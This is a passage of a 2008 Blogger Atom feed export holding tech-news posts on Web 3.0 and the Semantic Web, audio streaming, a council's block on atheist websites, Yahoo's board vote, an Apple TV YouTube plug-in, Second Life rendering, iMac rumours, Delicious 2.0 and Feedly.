href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Just in case you missed it, the web now has version numbers. Nearly three years ago, amid continued hand-wringing over the dot-com crash, a man named Dale Dougherty dreamed up something called Web 2.0, and the idea soon took on a life of its own. In the beginning, it was little more than a rallying cry, a belief that the Internet would rise again. But as Dougherty's Silicon Valley start-ups—and blogs are already abuzz with talk of the Web's next generation.&lt;br /&gt;&lt;br /&gt;To many, Web 3.0 is something called the Semantic Web, a term coined by Tim Berners-Lee, the man who invented the (first) World Wide Web. In essence, the Semantic Web is a place where machines can read Web pages much as we humans read them, a place where search engines and software agents can better troll the Net and find what we're looking for. "It's a set of standards that turns the Web into one big database," says Nova Spivack, CEO of Radar Networks, one of the leading voices of this new-age Internet.&lt;br /&gt;&lt;br /&gt;But some are skeptical about whether the Semantic Web—or at least, Berners-Lee's view of it—will actually take hold. They point to other technologies capable of reinventing the online world as we know it, from 3D virtual worlds to Web-connected bathroom mirrors. Web 3.0 could mean many things, and for Netheads, every single one is a breathtaking proposition.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6424288861621406765?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6424288861621406765/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6424288861621406765' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6424288861621406765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6424288861621406765'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-introduction.html' title='Web 3.0 : An Introduction'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7012735928714061709</id><published>2008-08-15T21:13:00.000-07:00</published><updated>2008-08-15T21:15:30.917-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Streaming'/><title type='text'>5 Basic Steps to Stream online Audio content</title><content type='html'>Websites today are no longer strictly limited to pure text. Everything is multimedia nowadays, so adding more to the textual content of your site gives it the edge it needs to stand out. You can add graphics, flash movies, pictures, animation, video clips, and audio stream to your website in order to give it that extra edge above other sites in your target market. These add-ons are not just mere decorations; they can be your website's main attraction when done right.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Websites today are no longer strictly limited to pure text. Everything is multimedia nowadays, so adding more to the textual content of your site gives it the edge it needs to stand out. You can add graphics, flash movies, pictures, animation, video clips, and audio stream to your website in order to give it that extra edge above other sites in your target market. These add-ons are not just mere decorations; they can be your website's main attraction when done right.&lt;br /&gt;&lt;br /&gt;Audio streaming is one form of incorporating sound in a website without having users download the file into their hard drive. Many people are wary of saving files from an unknown website for fear of getting viruses on their computer, so online audio streaming is a good alternative.&lt;br /&gt;&lt;br /&gt;This article focuses on how you can use online audio streaming to give your website its much needed boost:&lt;br /&gt;&lt;br /&gt;1.) Make sure your audio file is of high quality. A garbled or static-filled audio sound file will not improve the browser’s experience on your website; rather, it will only leave a bad impression on your visitors.&lt;br /&gt;&lt;br /&gt;2.) Make sure the audio file isn't too large, or else you'll risk working up the anger of users with slower internet connection. Not everyone has DSL or cable internet, and even those kinds of internet come in various speeds.&lt;br /&gt;&lt;br /&gt;3.) Make sure that the audio file you upload to your site actually complements the web content. For example, don't add funky music if your subject matter is of a serious nature such as a legal matter.&lt;br /&gt;&lt;br /&gt;4.) Make sure the audio file plays good in most of the major internet browsers. In this way, virtually all users will enjoy the experience of visiting your website with music.&lt;br /&gt;&lt;br /&gt;5.) Lastly, make sure that the audio file you use is not copyrighted. If you're playing a song on your website, don't play the whole of it; otherwise, you're violating copyright laws. A sampler about half a minute long will do.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7012735928714061709?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7012735928714061709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7012735928714061709' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7012735928714061709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7012735928714061709'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/5-basic-steps-to-stream-online-audio.html' title='5 Basic Steps to Stream online Audio content'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-9189577175760524674</id><published>2008-08-04T08:58:00.001-07:00</published><updated>2008-08-04T08:58:48.178-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Public Institution Restricts Access to Atheist Websites</title><content type='html'>Employees of the Birmingham Council reported that their access to websites that promote atheism or some exotic religions is prohibited by their employers. Apparently, the council is not very fond of websites "that promote information on religions such as Witchcraft or Satanism. Occult practices, atheistic views, voodoo rituals or any other form of mysticism are represented here. Includes sites that endorse or offer methods, means of instruction, or other resources&lt;br /&gt;to affect or influence real events through the use of spells, incantations, curses and magic powers. This category includes sites which discuss or deal with paranormal or unexplained events."&lt;span class="fullpost"&gt;Employees of the Birmingham Council reported that their access to websites that promote atheism or some exotic religions is prohibited by their employers. Apparently, the council is not very fond of websites "that promote information on religions such as Witchcraft or Satanism. Occult practices, atheistic views, voodoo rituals or any other form of mysticism are represented here. Includes sites that endorse or offer methods, means of instruction, or other resources&lt;br /&gt;to affect or influence real events through the use of spells, incantations, curses and magic powers. This category includes sites which discuss or deal with paranormal or unexplained events."&lt;br /&gt;&lt;br /&gt;Access to Christian, Hebrew or Muslim religion websites is free, as the National Secular Society, a pressure group that defends the rights of non-believers, states. The association says it had enough of seeing how religion gets mixed in public affairs and how it is a source of discrimination.&lt;br /&gt;&lt;br /&gt;Although NSS claims that legal action against the Birmingham Council is the last measure they are considering, they don't completely reject that option. "We suspect that the Council have not set out to contravene or reverse their own equal employment policies and that this problem results from someone in the Council acting in a thoughtless way. We just hope that common sense prevails and the Council resolves the matter itself without submitting themselves needlessly to legal action which would bring more unwelcome publicity." reads an official statement released by the association.&lt;br /&gt;&lt;br /&gt;So far, NSS limited its actions to sending a letter supported by lawyers, in which the representatives of the pressure group asked the Birmingham officials to change their minds, otherwise a lawsuit will be filed against them. On the horns of a dilemma – which is worse, blasphemy or a negative judgment – the Birmingham Council has to take measures to make sure that no one feels discriminated against at work. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-9189577175760524674?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/9189577175760524674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=9189577175760524674' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/9189577175760524674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/9189577175760524674'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/public-institution-restricts-access-to.html' title='Public Institution Restricts Access to Atheist Websites'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7409044498771962385</id><published>2008-08-04T08:53:00.000-07:00</published><updated>2008-08-04T08:54:15.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Yahoo!'s Board of Directors Is Safe and Sound</title><content type='html'>All of the 8 executives who signed up for a new commission in Yahoo!'s board of directors were reelected yesterday. Although this year's elections were regarded with great uncertainty, as stockholders could have chosen to dismiss the team that rejected a promising offer from Microsoft, everything turned out fine for the board. &lt;span class="fullpost"&gt;All of the 8 executives who signed up for a new commission in Yahoo!'s board of directors were reelected yesterday. Although this year's elections were regarded with great uncertainty, as stockholders could have chosen to dismiss the team that rejected a promising offer from Microsoft, everything turned out fine for the board. &lt;br /&gt;&lt;br /&gt;Roy Bostock, Yahoo! chairman, and Arthur Kern, Yahoo! executive since 1996, were most likely to consider the elections nail-biting, because they were the only ones who did not receive a full 80% of the stockholders' votes. Brostock only got 79.5% pros of the total votes for him, while Kern received only 77.9% votes in his favor.&lt;br /&gt;&lt;br /&gt;Jerry Young, Yahoo! CEO, who was considered the main actor of the business with Microsoft, had almost no reason to worry, with 85.4% positive votes. "We are at a unique point in our history, where we have the eyes of the world focused on our Company and tracking our performance. We are redoubling our commitment to driving sustained, profitable growth for our stockholders." he said, aware of the fact that he and his renewed team have to make an all-out effort to banish all thoughts about how it would have been if the company accepted Microsoft's offer.&lt;br /&gt;&lt;br /&gt;Carl Icahn, the investor who brought a storm cloud upon the company when he decided to remove all the current board of directors and bring his men in, was not even present at the annual stockholders' meeting, although after a cease fire with Yang and his affiliates, he was assured that he would have a chair in the executive board. As the stockholders voted for the expansion of the board with two more men, Icahn can now bring in other two persons to be responsible for Yahoo!'s fate. The investor will occupy the place left vacant by Robert Kotick, who bowed out of the company.&lt;br /&gt;&lt;br /&gt;Some of the investors complained that the time allocated to questions and answers was too short, as the board took too long to explain all the insides of the Microsoft story.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7409044498771962385?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7409044498771962385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7409044498771962385' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7409044498771962385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7409044498771962385'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/yahoos-board-of-directors-is-safe-and.html' title='Yahoo!&apos;s Board of Directors Is Safe and Sound'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7136976489973574347</id><published>2008-08-04T08:49:00.001-07:00</published><updated>2008-08-04T08:49:49.794-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>“A Series of Tubes” Plug-In Brings YouTube to Apple TV</title><content type='html'>Apple TV modders are preparing a plug-in that will allow Apple TV owners to watch YouTube videos directly from the Apple TV menu system. While the plug-in is not available to the general public yet, videos have been posted on YouTube, showing it in action.&lt;span class="fullpost"&gt;Apple TV modders are preparing a plug-in that will allow Apple TV owners to watch YouTube videos directly from the Apple TV menu system. While the plug-in is not available to the general public yet, videos have been posted on YouTube, showing it in action.The plug-in is called "A Series of Tubes" and is being developed by ‘Xdog’ of the AwkwardTV Apple TV plug-ins directory.&lt;br /&gt;The video shows the "A Series of Tubes" plug-in entry in the Apple TV’s FrontRow interface, alongside with music and movies. Once selected, the plug-in lets the user choose between collections of YouTube Videos, such as: Recently Featured Videos, Week’s Most Discussed, Week’s Most Viewed, Month’s Most Discussed, and Month’s Most Viewed. Once a category has been selected, a list of all available videos becomes available, with the currently selected video showing a still preview and a description. Playback is very smooth in the video but this could be because the plug-in has caching options that would help iron out any bumps caused by network traffic.&lt;br /&gt;&lt;br /&gt;So far, Apple has made no changes to the Apple TV in order to allow for easier modding or to officially support any of the most popular mods. However, with services such as YouTube and Joost being as popular as they are, it is probably only a matter of time before they have to do something. It is obvious that Apple intended the Apple TV to be the iPod equivalent of movie and TV shows; however, that strategy has not been working out that great for them so far. Video sales are simply not as big as music sales, and many have put forward that they simply will not be because users prefer renting video content.&lt;br /&gt;&lt;br /&gt;Regardless of what Apple does do with the Apple TV, those who are willing to tinker around with the Apple TV box and want to be able to watch YouTube videos, will be able to find the "A Series of Tubes" plug-in on the AwkwardTV plug-in directory soon.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7136976489973574347?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7136976489973574347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7136976489973574347' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7136976489973574347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7136976489973574347'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/series-of-tubes-plug-in-brings-youtube.html' title='“A Series of Tubes” Plug-In Brings YouTube to Apple TV'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-926875749383276905</id><published>2008-08-04T08:46:00.000-07:00</published><updated>2008-08-04T08:47:36.636-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>A Better 'Second Life' - Windlight Atmospheric Rendering</title><content type='html'>Linden Lab's Second Life is getting the atmospheric rendering tech Windlight and the 3D cloud simulator Nimble from Windward Mark Interactive. Realism is the first thing the developer has to think about when a life sim such as Second Life is their main title. Here's why, as NextGeneration reports.&lt;span class="fullpost"&gt;Linden Lab's Second Life is getting the atmospheric rendering tech Windlight and the 3D cloud simulator Nimble from Windward Mark Interactive. Realism is the first thing the developer has to think about when a life sim such as Second Life is their main title. Here's why, as NextGeneration reports.&lt;br /&gt;&lt;br /&gt;Although Linden has also acquired "all associated intellectual IP and interests" of Windward Mark, as the same site says, Alliance: The Silent War, Windward Mark's title in development, will not be part of the deal and will continue to be developed separately by Windward Mark.&lt;br /&gt;So what will The Windlight technology do for Linden's Second Life? Mainly, it will add realism to environments, while Nimble's job will be "simply" rendering more convincing clouds. And it sure needs it as Second Life is a 100% life simulator – some countries even use it as a voting platform. Just think how some nice clouds could influence your judgment when electing your president... Kidding of course.&lt;br /&gt;&lt;br /&gt;Linden Lab CTO Cory Ondrejka also proposed the open source model: "Our core development team is tightly focused on improving the Second Life experience in terms of stability and scalability, but open sourcing has enabled external developers to integrate additional enhancements that are also hugely valuable; WindLight is one of these."&lt;br /&gt;&lt;br /&gt;Man, Epic must be quite upset for Linden not to choose their Unreal Engine 3, huh? Not really actually, you see, although UE3 can do so much more than just make shooters look good, it's mainly used for action, not just strolling in the park or on the streets like in Second Life. Linden Lab hasn't acquired more powerful technology than that, but the most appropriate for what Second Life is all about.&lt;br /&gt;&lt;br /&gt;All the developer had to worry about until now, was rendering the big city, and now it's not even the developer's worry, but Windward Mark Interactive's.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-926875749383276905?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/926875749383276905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=926875749383276905' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/926875749383276905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/926875749383276905'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/better-second-life-windlight.html' title='A Better &apos;Second Life&apos; - Windlight Atmospheric Rendering'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1190685630848122380</id><published>2008-08-04T07:58:00.000-07:00</published><updated>2008-08-04T08:00:59.322-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Apple about to Kill 17-Inch iMac in Next Update?</title><content type='html'>Rumors about the next generation of iMacs have resurfaced, and after several months still sing the same song. It looks like the smallest member of the iMac family will be left behind for good.&lt;br /&gt;&lt;br /&gt;Rumors that the next generation of iMacs will have a new redesigned look, but will drop the 17-inch model started surfacing in March. After almost three years since the current design debuted, a change of looks would not go amiss. However, the decision to exclude&lt;br /&gt;the smallest iMac from the update, and even potentially kill it off altogether came as a surprise. While it is quite possible for Apple to refresh the iMac line and come out with a 20i-inch model around the same price as the previous 17-inch model, many prefer the smaller sized desktop.&lt;span class="fullpost"&gt;Rumors about the next generation of iMacs have resurfaced, and after several months still sing the same song. It looks like the smallest member of the iMac family will be left behind for good.&lt;br /&gt;&lt;br /&gt;Rumors that the next generation of iMacs will have a new redesigned look, but will drop the 17-inch model started surfacing in March. After almost three years since the current design debuted, a change of looks would not go amiss. However, the decision to exclude&lt;br /&gt;the smallest iMac from the update, and even potentially kill it off altogether came as a surprise. While it is quite possible for Apple to refresh the iMac line and come out with a 20i-inch model around the same price as the previous 17-inch model, many prefer the smaller sized desktop.&lt;br /&gt;&lt;br /&gt;Dropping the 17-inch iMac altogether would leave rather a large hole in Apple’s lineup. For one thing, there is the educational market, where the mini is often not enough, but a 20-inch iMac would be too much. Apple needs a cheaper, entry-level model, and the mini – while great at what it does – is considered by many as a bad choice due to the fact that it is both dated and lacking a display and peripherals.&lt;br /&gt;&lt;br /&gt;Dropping the 17-inch iMac and offering the 20-inch model for around the same price could be done, but that would mean having to upgrade the mini because the gap between the two would simply be far too large. Conversely, Apple could do something totally unexpected and drop a bomb by introducing a new model that would be somewhere between the mini and the Mac Pros, without a display, and priced around what the former 17-inch iMac used to cost. This fabled ‘Mac’ has long been awaited by loyal Apple customers and potential switchers alike, and would go a long way to improving Apple’s computer line-up.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1190685630848122380?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1190685630848122380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1190685630848122380' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1190685630848122380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1190685630848122380'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/apple-about-to-kill-17-inch-imac-in.html' title='Apple about to Kill 17-Inch iMac in Next Update?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2908932548247774963</id><published>2008-08-01T09:30:00.000-07:00</published><updated>2008-08-01T09:42:44.213-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Delicious Finally Launches Version 2.0: Easier, Prettier, Faster</title><content type='html'>The popular social bookmarking service Del.icio.us launched a complete redesign of its service today. Ever since it was bought by Yahoo in 2005, the company added very few new features and the redesign had been rumored to be in the works for almost a year now. The new design and features are mostly focused on enhancing the speed of the service and improving its search capabilities. Del.icio.us can also now be reached at delicious.com and will start using this as its standard URL.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;The popular social bookmarking service Del.icio.us launched a complete redesign of its service today. Ever since it was bought by Yahoo in 2005, the company added very few new features and the redesign had been rumored to be in the works for almost a year now. The new design and features are mostly focused on enhancing the speed of the service and improving its search capabilities. Del.icio.us can also now be reached at delicious.com and will start using this as its standard URL.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_VHplZu23whg/SJM8M3DnZmI/AAAAAAAAAeI/d5RfJqtvYCo/s1600-h/delicious_20_sshot.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SJM8M3DnZmI/AAAAAAAAAeI/d5RfJqtvYCo/s320/delicious_20_sshot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229589783942489698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;New Features&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The new features include selectable detail levels and alphabetical sorting of bookmarks. Delicious also says that it has made strides in improving its speed and making the site more responsive. Based on our short tests here, we would definitely have to agree with that.&lt;br /&gt;&lt;br /&gt;Delicious has also worked an enhancing its search. Users can now search within their own tags, another user's bookmarks, and, maybe most interestingly, within their own social network on Delicious.&lt;br /&gt;&lt;br /&gt;In our short tests of the new design so far, we have come away quite impressed. The new interface, which highlights the tags a lot more, feels a lot cleaner and snappier. It's also now a lot easier to edit items you have already bookmarked.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;More Social&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Delicious now also puts a lot more emphasis on the social aspects of its service - a trend we already noted back in 2006. We especially noticed that it now prompts its users to fill out their profile information more persistently. Before, few users ever bothered to do so. While before, the focus was on subscriptions and 'your network,' the new interface emphasizes more of 'friending' paradigm.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_VHplZu23whg/SJM8xgszpRI/AAAAAAAAAeQ/KAWcM3Qwlsk/s1600-h/delicious-example.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_VHplZu23whg/SJM8xgszpRI/AAAAAAAAAeQ/KAWcM3Qwlsk/s320/delicious-example.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229590413596402962" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;No Recommendations Yet&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One area where Delicious can still improve is in giving its users recommendation based on their bookmarking behavior. Currently, Delicious neither recommends potentially interesting links, nor does it highlight users who bookmark similar items.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Easier, Prettier, Faster&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Overall, while some of its competitors soared past Delicious in the last few months in terms of features, this update puts Delicious at the top of the pack again. We have come away highly impressed with the new interface and while all the new and enhanced features are definitely a boon to the service, the real advantage of this new design is that it makes using a lot of the old features a lot easier, especially for novice users.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2908932548247774963?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2908932548247774963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2908932548247774963' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2908932548247774963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2908932548247774963'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/delicious-finally-launches-version-20.html' title='Delicious Finally Launches Version 2.0: Easier, Prettier, Faster'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_VHplZu23whg/SJM8M3DnZmI/AAAAAAAAAeI/d5RfJqtvYCo/s72-c/delicious_20_sshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-479388451536774322</id><published>2008-08-01T08:03:00.000-07:00</published><updated>2008-08-01T09:13:20.538-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Feedly Now Integrates With Google Search</title><content type='html'>If you're a Firefox and Google Reader user and you haven't yet installed the Feedly plugin, you're going to want to install it today after you hear this: Feedly has now integrated its own results - that is, links to the relevant posts from your Google Reader - right into your Google search results. This integration essentially adds a layer of social search directly into Google, and all with no extra work on your part besides simply having installed the plugin.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;If you're a Firefox and Google Reader user and you haven't yet installed the Feedly plugin, you're going to want to install it today after you hear this: Feedly has now integrated its own results - that is, links to the relevant posts from your Google Reader - right into your Google search results. This integration essentially adds a layer of social search directly into Google, and all with no extra work on your part besides simply having installed the plugin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;All About Feedly&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To get you up to speed, Feedly is a service and a Firefox plugin that provides an alternative way to read your feeds. Its magazine-style interface presents the news to you in a more visually appealing way while still keeping it categorized by your own tagging system. As your read news items in Feedly, they're marked as read in Google Reader; as you "Recommend" items in Feedly, they're "Shared" in Google Reader; as you "Annotate," they're shared with a note, etc.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_VHplZu23whg/SJMmnUJ5YfI/AAAAAAAAAdo/jZO9z-wUiCc/s1600-h/feedly_mag.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SJMmnUJ5YfI/AAAAAAAAAdo/jZO9z-wUiCc/s320/feedly_mag.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229566049174249970" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;However, for voracious RSS readers like myself, Feedly is a much slower way to read the news, which is perhaps why it hasn't really taken off to a great extent among the early adopter set. That's a shame, though, because Feedly can do so much more than many people may realize.&lt;br /&gt;&lt;br /&gt;For one, it's integrated with both Twitter and FriendFeed letting you tweet or share an item on either of those services (even FriendFeed rooms)with just one click. It also pulls in the blog comments, comments from Digg, and the FriendFeed conversations surrounding an article and lets you add your own thoughts to FriendFeed stream - without you having to view the page on FriendFeed itself. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_VHplZu23whg/SJM1Af6XhvI/AAAAAAAAAdw/IDLdNhDxNnI/s1600-h/ff_convo_feedly.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_VHplZu23whg/SJM1Af6XhvI/AAAAAAAAAdw/IDLdNhDxNnI/s320/ff_convo_feedly.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229581874989860594" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Although it does show full feeds (just like Google Reader), it also allows blog owners to showcase their sponsors via a designated ad spot. On an area called "The Wall," you have the option to configure the page to show a mix of recommended items from Google Reader plus other sources. Those other sources can include your Firefox Bookmarks, your MyYahoo items, items from NetVibes, and items from Bloglines, as well as social connections like your Twitter stream, your FriendFeed stream, items from Yahoo Mail or Gmail. You can also select "best of" content to be mixed in from any number of categories from fashion to celebrities to tech or you can even upload your own OPML file.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 